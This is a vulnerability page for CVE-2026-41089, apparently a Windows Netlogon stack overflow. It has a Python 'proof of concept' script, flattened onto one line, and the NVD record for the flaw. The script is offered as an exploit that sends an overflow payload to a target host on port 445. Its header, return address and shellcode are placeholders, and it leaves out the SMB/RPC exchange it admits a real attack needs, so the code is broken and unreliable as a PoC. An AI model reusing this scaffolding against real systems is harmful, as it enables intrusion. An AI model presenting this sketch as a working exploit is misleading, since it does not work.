CVE-2026-41089

import socket import struct # Conceptual Proof of Concept for CVE-2026-41089 # Target: Windows Netlogon Service (Stack Buffer Overflow) # Note: Actual offsets and shellcode need to be determined based on the specific target version. def trigger_overflow(target_ip, target_port=445): try: print(f"[*] Connecting to {target_ip}:{target_port}...") # Establishing a raw TCP connection (SMB/RPC context required in real scenario) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Constructing the malicious payload # Header + Padding + Overflow Pattern ('A') + Return Address (ROP) + Shellcode header = b"\x00\x00\x00\x00" # Simplified Netlogon RPC header placeholder junk = b"A" * 1024 # Triggering the stack overflow ret_addr = struct.pack('<L', 0xdeadbeef) # Placeholder for return address shellcode = b"\xCC" * 50 # Placeholder for INT3 trap payload = header + junk + ret_addr + shellcode print("[*] Sending malicious payload...") s.send(payload) print("[*] Payload sent. Check target status.") s.close() except Exception as e: print(f"[!] Exploit failed: {e}") if __name__ == "__main__": target = "192.168.1.10" trigger_overflow(target)

{"cve": {"id": "CVE-2026-41089", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:20.720", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow in Windows Netlogon allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089", "source": "[email protected]"}]}}